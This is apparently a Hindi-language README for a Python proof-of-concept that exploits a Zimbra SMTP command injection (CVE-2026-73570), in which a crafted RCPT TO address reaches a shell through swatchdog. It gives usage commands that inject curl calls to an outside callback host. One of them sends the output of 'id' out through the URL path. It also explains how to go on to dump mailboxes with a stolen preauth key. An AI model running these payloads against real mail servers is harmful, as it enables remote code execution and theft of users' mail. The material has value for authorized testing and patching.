
# CVE-2026-73570 के लिए Python PoC, Zimbra में एक SMTP कमांड इंजेक्शन। swatchdog के माध्यम से शेल कमांड निष्पादन को ट्रिगर करने के लिए दोषपूर्ण RCPT TO पेलोड भेजता है, जिसमें स्वचालित पोर्ट स्कैनिंग और OOB सत्यापन शामिल है।
SMTP कमांड इंजेक्शन कमजोरियों (CVE-2026-73570) के परीक्षण के लिए एक कस्टम, निम्न-स्तरीय Python प्रूफ-ऑफ-कॉन्सेप्ट (PoC) स्क्रिप्ट।
यह टूल शेल-शैली कमांड प्रतिस्थापन (जैसे, $(command)) युक्त एक दोषपूर्ण RCPT TO पता भेजता है ताकि यह निर्धारित किया जा सके कि लक्ष्य मेल सर्वर या उसकी डाउनस्ट्रीम प्रोसेसिंग पाइपलाइन बिना सैनिटाइज़ेशन के पते को शेल के माध्यम से अनुचित रूप से पास करती है या नहीं।
⚠️ अस्वीकरण: यह टूल केवल शैक्षिक उद्देश्यों और अधिकृत सुरक्षा परीक्षण के लिए है। सुनिश्चित करें कि आपके पास लक्ष्य इंफ्रास्ट्रक्चर का परीक्षण करने की स्पष्ट अनुमति है। मेल सर्वरों की अनधिकृत स्कैनिंग या शोषण अवैध है।
हर Zimbra बॉक्स कमजोर नहीं है। ये सभी शर्तें सत्य होनी चाहिए:
zimbra-snmp पैकेज स्थापित है (अक्सर इंस्टॉलेशन के समय संकेत दिया जाता है)।snmp_notify)।swatchdog सेवा चल रही है (डिफ़ॉल्ट रूप से चालू)।हमले को SNMP (UDP/161/162) को हमलावर के लिए उजागर करने की आवश्यकता है। दुर्भावनापूर्ण इनपुट मानक SMTP पर आता है।
swatchdog प्रक्रिया /opt/zimbra/conf/swatchrc.in से कॉन्फ़िगरेशन का उपयोग करके /var/log/zimbra.log को टेल करती है। यह निम्नलिखित रेगुलर एक्सप्रेशन का उपयोग करके लॉग प्रविष्टियों को सक्रिय रूप से मैच करती है:
/: Service status change: (\S+) (.*) changed from stopped to running/
/: Service status change: (\S+) (.*) changed from running to stopped/
(.*) कैप्चर समूह को सेवा नाम के रूप में माना जाता है। dosnmp स्क्रिप्ट फिर उस कैप्चर किए गए टेक्स्ट को सीधे Perl बैकटिक snmptrap कमांड में इंटरपोलेट करती है। क्योंकि Perl बैकटिक्स सिस्टम शेल के माध्यम से निष्पादित होते हैं, (.*) में कैप्चर किए गए कोई भी शेल मेटाकैरेक्टर मूल्यांकित और निष्पादित होते हैं।
हमलावर SMTP कमांड (जैसे RCPT TO) भेजकर लॉग में दुर्भावनापूर्ण टेक्स्ट प्राप्त करते हैं, जिसका तर्क वास्तविक सेवा-स्थिति लाइन जैसा दिखता है। Postfix इसे अवैध पता सिंटैक्स के रूप में लॉग करता है, लेकिन swatchdog फिर भी लॉग लाइन में रेगेक्स को मैच करता है और पेलोड को शेल में पास करता है।
smtplib आंतरिक पता सत्यापन को बायपास करता है ताकि कच्चे, गैर-RFC-अनुरूप पेलोड ठीक उसी तरह भेजे जा सकें जैसे एक हमलावर भेजेगा।--command फ्लैग के माध्यम से मनमाने शेल कमांड स्वीकार करता है।argparse के साथ निर्मित।स्क्रिप्ट को CVE-2026-73570.py (या आपकी पसंद का कोई भी नाम) नामक फ़ाइल में सहेजें:
# उदाहरण: फ़ाइल डाउनलोड करें या बनाएं
nano CVE-2026-73570.py
आप अपने परीक्षण परिदृश्य के आधार पर स्क्रिप्ट को कई तरीकों से चला सकते हैं।
यदि आप पोर्ट निर्दिष्ट नहीं करते हैं, तो स्क्रिप्ट पोर्ट 25, 465 और 587 को स्कैन करेगी, और स्वचालित रूप से पहले खुले पोर्ट को लक्षित करेगी।
python3 CVE-2026-73570.py --host 127.0.0.1 --command "curl http://your-unique-id.requestrepo.com"
यदि आप पहले से लक्ष्य पोर्ट जानते हैं (जैसे, 465), तो आप स्कैनिंग का अनुमान छोड़ सकते हैं।
python3 CVE-2026-73570.py --host 127.0.0.1 --port 465 --command "curl http://your-unique-id.requestrepo.com"
यदि आप पेलोड भेजे बिना केवल यह जांचना चाहते हैं कि लक्ष्य पर कौन से मेल पोर्ट खुले हैं।
python3 CVE-2026-73570.py --host 127.0.0.1 --scan-only
| तर्क | शॉर्ट | विवरण | डिफ़ॉल्ट |
|---|---|---|---|
--host | -H | लक्ष्य होस्ट IP या डोमेन। | 127.0.0.1 |
--port | -p | लक्ष्य पोर्ट। यदि छोड़ा गया, तो 25, 465, 587 स्कैन करता है और एक खुले पोर्ट को लक्षित करता है। | None (ऑटो) |
--command | -c | SMTP पेलोड में इंजेक्ट करने के लिए शेल कमांड। | TEST_PAYLOAD |
--scan-only | -s | केवल पोर्ट स्कैन करें और इंजेक्शन पेलोड भेजे बिना बाहर निकलें। | False |
अकेले स्क्रिप्ट चलाना केवल यह साबित करता है कि मेल सर्वर दोषपूर्ण RCPT TO पता प्राप्त करता है। लक्ष्य के फाइलसिस्टम या लॉग तक सीधी पहुंच के बिना वास्तविक कमांड इंजेक्शन की पुष्टि करने के लिए, HTTP के माध्यम से आउट-ऑफ-बैंड (OOB) कॉलबैक का उपयोग करें।
http://xyz123.requestrepo.com)।curl का उपयोग करके स्क्रिप्ट निष्पादित करें:
python3 CVE-2026-73570.py --host 127.0.0.1 --command "curl http://xyz123.requestrepo.com"
प्रो-टिप (डेटा एक्सफिल्ट्रेशन): आप अपने कॉलबैक के URL पथ में कमांड के आउटपुट को इंजेक्ट करके एक्सफिल्ट्रेट कर सकते हैं:
python3 CVE-2026-73570.py --host 127.0.0.1 --command "curl http://xyz123.requestrepo.com/$(id | tr -d ' ')"
अनुरोधित पथ में uid=0(root) आउटपुट देखने के लिए अपना Request Repo डैशबोर्ड जांचें।
परीक्षण के दौरान, आपको इस तरह का SMTP प्रतिक्रिया मिल सकती है:
[<] RCPT TO: 554 554 5.7.1 <[email protected]>: Recipient address rejected: Access denied
केवल इसलिए यह न मानें कि पता अस्वीकार होने के कारण कमजोरी विफल हो गई है।
कई मेल सर्वर (जैसे Postfix या Exim) SMTP लेनदेन के दौरान पेलोड को सिंटैक्टिक रूप से स्वीकार करेंगे, लेकिन तुरंत डिलीवरी प्रयास को अस्वीकार कर देंगे क्योंकि डोमेन/प्राप्तकर्ता उनकी अनुमत रिले सूची में नहीं है।
CVE-2026-73570 कमजोरी इस अस्वीकृति के बाद ट्रिगर होती है। दुर्भावनापूर्ण स्ट्रिंग अवैध पता सिंटैक्स लॉग प्रविष्टि के रूप में /var/log/zimbra.log में प्रवाहित होती है। swatchdog इस लॉग को टेल करता है, पेलोड को मैच करता है, और इसे शेल में पास करता है।
क्योंकि पेलोड अभी भी लॉगिंग के लिए इन बैकएंड सिस्टम तक पहुंचता है, कमांड प्रतिस्थापन ($()) अभी भी निष्पादित होता है। SMTP प्रतिक्रिया कोड की परवाह किए बिना, सफलता सत्यापित करने के लिए हमेशा अपने OOB कॉलबैक (जैसे, Request Repo) पर भरोसा करें।
एक बार swatchdog इंजेक्शन के माध्यम से कमांड निष्पादन प्राप्त हो जाने पर, हमलावर आमतौर पर zimbra उपयोगकर्ता के रूप में कार्य करता है। यहां से, प्राथमिक लक्ष्य अक्सर मेलबॉक्स डेटा तक पहुंचना होता है।
इस अगले चरण को सुविधाजनक बनाने के लिए, आप zimbraKing का उपयोग कर सकते हैं — Zimbra मेलबॉक्स डंप करने के लिए डिज़ाइन किया गया एक कस्टम टूल।
उपयोग परिदृश्य:
अपने पोस्ट-एक्सप्लॉइटेशन चरण के दौरान, यदि आप Zimbra कॉन्फ़िगरेशन फ़ाइलें पढ़ने और preAuthKey निकालने में सक्षम हैं (आमतौर पर /opt/zimbra/conf/localconfig.xml में zimbra_preauth_key कुंजी के अंतर्गत पाया जाता है) या यदि आप वैध Zimbra खाता क्रेडेंशियल प्राप्त करते हैं, तो आप उन्हें zimbraKing में फीड कर सकते हैं।
टूल Zimbra SOAP API के खिलाफ प्रमाणित करने के लिए preAuthKey या खाता क्रेडेंशियल का उपयोग करता है और अंतर्निहित डेटाबेस या फाइलसिस्टम के साथ सीधे इंटरैक्ट करने की आवश्यकता के बिना व्यवस्थित रूप से लक्ष्य मेलबॉक्स सामग्री डंप करता है।
smtplib का उपयोग क्यों नहीं करें?Python का अंतर्निहित smtplib सख्त RFC मानकों को लागू करता है। यदि आप smtplib.sendmail() के माध्यम से ", $, (, और ) युक्त पता पास करने का प्रयास करते हैं, तो लाइब्रेरी या तो स्ट्रिंग को "सुरक्षित" बनाने के लिए विकृत कर देगी या डेटा नेटवर्क तक पहुंचने से पहले SMTPRecipientsRefused अपवाद उठाएगी। यह कस्टम क्लाइंट एक्सप्लॉइट पेलोड की बाइट-दर-बाइट डिलीवरी की गारंटी के लिए रॉ सॉकेट का उपयोग करता है।